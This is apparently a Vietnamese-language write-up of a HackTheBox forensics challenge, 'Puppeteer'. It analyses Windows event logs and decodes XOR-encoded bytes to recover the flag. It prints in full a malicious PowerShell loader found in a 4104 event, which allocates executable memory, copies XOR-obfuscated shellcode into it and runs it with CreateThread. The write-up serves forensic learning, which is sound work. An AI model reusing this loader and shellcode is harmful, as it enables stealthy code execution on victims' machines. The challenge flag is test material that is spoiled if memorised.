Puppeteer

Challenge Info

Planet Longhir is known for it's top-tier researchers. Due to their dedication in science and engineering, their military equipment is the most advanced one in the galaxy. In fact, the prototype DES-3000, a self-propelled precision-strike missile that is capable of reaching targets even in Ratnik galaxy, is being used to disable Galactic Federation's communication satellites. The mystery that Miyuki is trying to solve is, how the satellite's location was leaked since it is a top-secret that only Galactic Federation's council is aware of. Help her analyse the Council's HQ event logs and solve this mystery.

1MB

forensics_puppeteer.zip

archive

Analysis

• Thử thách cho ta file zip, sau khi extract ta có 1 folder Logs chứa rất nhiều event log files (.evtx) EVTX là System Files - Windows 7 Event Log File, dưới định dạng Binary được phát triển bởi Microsoft. Đăng nhập tập tin được tạo ra bởi Windows 7 Event Viewer; chứa một danh sách các sự kiện được ghi lại bằng Windows; lưu trong một định dạng nhị phân độc quyền mà chỉ có thể được xem xét trong chương trình Event Viewe

  ┌──(kali㉿kali)-[~/Desktop/HackTheBox]
  └─$ unzip forensics_puppeteer.zip             
  Archive:  forensics_puppeteer.zip
  ┌──(kali㉿kali)-[~/Desktop/HackTheBox]
  └─$ cd forensics_puppeteer/Logs
  ┌──(kali㉿kali)-[~/Desktop/HackTheBox/forensics_puppeteer/Logs]
  └─$ ls
  Application.evtx
  HardwareEvents.evtx
  Internet Explorer.evtx
  Key Management Service.evtx
  Microsoft-Windows-Containers-BindFlt%4Operational.evtx
  Microsoft-Windows-Containers-Wcifs%4Operational.evtx
  Microsoft-Windows-Kernel-EventTracing%4Admin.evtx
  Microsoft-Windows-Known Folders API Service.evtx
  Microsoft-Windows-LanguagePackSetup%4Operational.evtx
  Microsoft-Windows-LiveId%4Operational.evtx
  Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Admin.evtx
  Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Autopilot.evtx
  Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4Diagnostics.evtx
  Microsoft-Windows-ModernDeployment-Diagnostics-Provider%4ManagementService.evtx
  Microsoft-Windows-MUI%4Admin.evtx
  Microsoft-Windows-MUI%4Operational.evtx
  Microsoft-Windows-NCSI%4Operational.evtx
  Microsoft-Windows-NetworkProfile%4Operational.evtx
  Microsoft-Windows-Ntfs%4Operational.evtx
  Microsoft-Windows-Ntfs%4WHC.evtx
  Microsoft-Windows-Partition%4Diagnostic.evtx
  Microsoft-Windows-PowerShell%4Admin.evtx
  Microsoft-Windows-PowerShell%4Operational.evtx
  Microsoft-Windows-Privacy-Auditing%4Operational.evtx
  Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx
  Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
  Security.evtx
  Setup.evtx
  System.evtx
  Windows PowerShell.evtx
  ....

Mình chú ý đến file Microsoft-Windows-PowerShell%4Operational.evtx

Mở file bằng Event log Exporer ta có thể thấy ngay rất nhiều Warming về Execute a Remote Command ở Event 4104

Và trong các Event 4104 có chứa PowerShell Script

Creating Scriptblock text (1 of 1):
$OleSPrlmhB = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationTowpe, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

[byte[]] $stage1 = 0x99, 0x85, 0x93, 0xaa, 0xb3, 0xe2, 0xa6, 0xb9, 0xe5, 0xa3, 0xe2, 0x8e, 0xe1, 0xb7, 0x8e, 0xa5, 0xb9, 0xe2, 0x8e, 0xb3;
[byte[]] $stage2 = 0xac, 0xff, 0xff, 0xff, 0xe2, 0xb2, 0xe0, 0xa5, 0xa2, 0xa4, 0xbb, 0x8e, 0xb7, 0xe1, 0x8e, 0xe4, 0xa5, 0xe1, 0xe1;

$tNZvQCljVk = Add-Type -memberDefinition $OleSPrlmhB -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]] $HVOASfFuNSxRXR = 0x2d,0x99,0x52,0x35,0x21,0x39,0x1d,0xd1,0xd1,0xd1,0x90,0x80,0x90,0x81,0x83,0x99,0xe0,0x03,0xb4,0x99,0x5a,0x83,0xb1,0x99,0x5a,0x83,0xc9,0x80,0x87,0x99,0x5a,0x83,0xf1,0x99,0xde,0x66,0x9b,0x9b,0x9c,0xe0,0x18,0x99,0x5a,0xa3,0x81,0x99,0xe0,0x11,0x7d,0xed,0xb0,0xad,0xd3,0xfd,0xf1,0x90,0x10,0x18,0xdc,0x90,0xd0,0x10,0x33,0x3c,0x83,0x99,0x5a,0x83,0xf1,0x90,0x80,0x5a,0x93,0xed,0x99,0xd0,0x01,0xb7,0x50,0xa9,0xc9,0xda,0xd3,0xde,0x54,0xa3,0xd1,0xd1,0xd1,0x5a,0x51,0x59,0xd1,0xd1,0xd1,0x99,0x54,0x11,0xa5,0xb6,0x99,0xd0,0x01,0x5a,0x99,0xc9,0x81,0x95,0x5a,0x91,0xf1,0x98,0xd0,0x01,0x32,0x87,0x99,0x2e,0x18,0x9c,0xe0,0x18,0x90,0x5a,0xe5,0x59,0x99,0xd0,0x07,0x99,0xe0,0x11,0x90,0x10,0x18,0xdc,0x7d,0x90,0xd0,0x10,0xe9,0x31,0xa4,0x20,0x9d,0xd2,0x9d,0xf5,0xd9,0x94,0xe8,0x00,0xa4,0x09,0x89,0x95,0x5a,0x91,0xf5,0x98,0xd0,0x01,0xb7,0x90,0x5a,0xdd,0x99,0x95,0x5a,0x91,0xcd,0x98,0xd0,0x01,0x90,0x5a,0xd5,0x59,0x90,0x89,0x90,0x89,0x8f,0x88,0x99,0xd0,0x01,0x8b,0x90,0x89,0x90,0x88,0x90,0x8b,0x99,0x52,0x3d,0xf1,0x90,0x83,0x2e,0x31,0x89,0x90,0x88,0x8b,0x99,0x5a,0xc3,0x38,0x9a,0x2e,0x2e,0x2e,0x8c,0x98,0x6f,0xa6,0xa2,0xe3,0x8e,0xe2,0xe3,0xd1,0xd1,0x90,0x87,0x98,0x58,0x37,0x99,0x50,0x3d,0x71,0xd0,0xd1,0xd1,0x98,0x58,0x34,0x98,0x6d,0xd3,0xd1,0xd4,0xe8,0x11,0x79,0xd1,0xc3,0x90,0x85,0x98,0x58,0x35,0x9d,0x58,0x20,0x90,0x6b,0x9d,0xa6,0xf7,0xd6,0x2e,0x04,0x9d,0x58,0x3b,0xb9,0xd0,0xd0,0xd1,0xd1,0x88,0x90,0x6b,0xf8,0x51,0xba,0xd1,0x2e,0x04,0xbb,0xdb,0x90,0x8f,0x81,0x81,0x9c,0xe0,0x18,0x9c,0xe0,0x11,0x99,0x2e,0x11,0x99,0x58,0x13,0x99,0x2e,0x11,0x99,0x58,0x10,0x90,0x6b,0x3b,0xde,0x0e,0x31,0x2e,0x04,0x99,0x58,0x16,0xbb,0xc1,0x90,0x89,0x9d,0x58,0x33,0x99,0x58,0x28,0x90,0x6b,0x48,0x74,0xa5,0xb0,0x2e,0x04,0x54,0x11,0xa5,0xdb,0x98,0x2e,0x1f,0xa4,0x34,0x39,0x42,0xd1,0xd1,0xd1,0x99,0x52,0x3d,0xc1,0x99,0x58,0x33,0x9c,0xe0,0x18,0xbb,0xd5,0x90,0x89,0x99,0x58,0x28,0x90,0x6b,0xd3,0x08,0x19,0x8e,0x2e,0x04,0x52,0x29,0xd1,0xaf,0x84,0x99,0x52,0x15,0xf1,0x8f,0x58,0x27,0xbb,0x91,0x90,0x88,0xb9,0xd1,0xc1,0xd1,0xd1,0x90,0x89,0x99,0x58,0x23,0x99,0xe0,0x18,0x90,0x6b,0x89,0x75,0x82,0x34,0x2e,0x04,0x99,0x58,0x12,0x98,0x58,0x16,0x9c,0xe0,0x18,0x98,0x58,0x21,0x99,0x58,0x0b,0x99,0x58,0x28,0x90,0x6b,0xd3,0x08,0x19,0x8e,0x2e,0x04,0x52,0x29,0xd1,0xac,0xf9,0x89,0x90,0x86,0x88,0xb9,0xd1,0x91,0xd1,0xd1,0x90,0x89,0xbb,0xd1,0x8b,0x90,0x6b,0xda,0xfe,0xde,0xe1,0x2e,0x04,0x86,0x88,0x90,0x6b,0xa4,0xbf,0x9c,0xb0,0x2e,0x04,0x98,0x2e,0x1f,0x38,0xed,0x2e,0x2e,0x2e,0x99,0xd0,0x12,0x99,0xf8,0x17,0x99,0x54,0x27,0xa4,0x65,0x90,0x2e,0x36,0x89,0xbb,0xd1,0x88,0x98,0x16,0x13,0x21,0x64,0x73,0x87,0x2e,0x04;

[array]::Reverse($stage2);

$hRffYLENA = $tNZvQCljVk::VirtualAlloc(0,[Math]::Max($HVOASfFuNSxRXR.Length,0x1000),0x3000,0x40);

$stage3 = $stage1 + $stage2;

[System.Runtime.InteropServices.Marshal]::Copy($HVOASfFuNSxRXR,0,$hRffYLENA,$HVOASfFuNSxRXR.Length);


# Unpack Shellcode;

for($i=0; $i -lt $HVOASfFuNSxRXR.count ; $i++)
{
    $HVOASfFuNSxRXR[$i] = $HVOASfFuNSxRXR[$i] -bxor 0xd1;
}

#Unpack Special Orders!

for($i=0;$i -lt $stage3.count;$i++){
    $stage3[$i] = $stage3[$i] -bxor 0xd1;
}

$tNZvQCljVk::CreateThread(0,0,$hRffYLENA,0,0,0);


ScriptBlock ID: 3f384b05-3a00-4a65-bbf7-e31b331ac923
Path: C:\sysmgr\special_orders.ps1

a chú ý đến Stage, mình viết lại ngắn gọn script để in ra $stage3

[byte[]] $stage1 = 0x99, 0x85, 0x93, 0xaa, 0xb3, 0xe2, 0xa6, 0xb9, 0xe5, 0xa3, 0xe2, 0x8e, 0xe1, 0xb7, 0x8e, 0xa5, 0xb9, 0xe2, 0x8e, 0xb3;
[byte[]] $stage2 = 0xac, 0xff, 0xff, 0xff, 0xe2, 0xb2, 0xe0, 0xa5, 0xa2, 0xa4, 0xbb, 0x8e, 0xb7, 0xe1, 0x8e, 0xe4, 0xa5, 0xe1, 0xe1;

[array]::Reverse($stage2);

$stage3 = $stage1 + $stage2;

for($i=0;$i -lt $stage3.count;$i++){
    $stage3[$i] = $stage3[$i] -bxor 0xd1;
}

write-host $stage3

Đoạn này chỉ đơn giản Reverse lại $stage2, add $stage1 + $stage2 vào biến $stage3 và xor $stage3 với 0xd1

Convert decimal to ascii ta có flag:

Flag

HTB{b3wh4r3_0f_th3_b00t5_0f_just1c3...}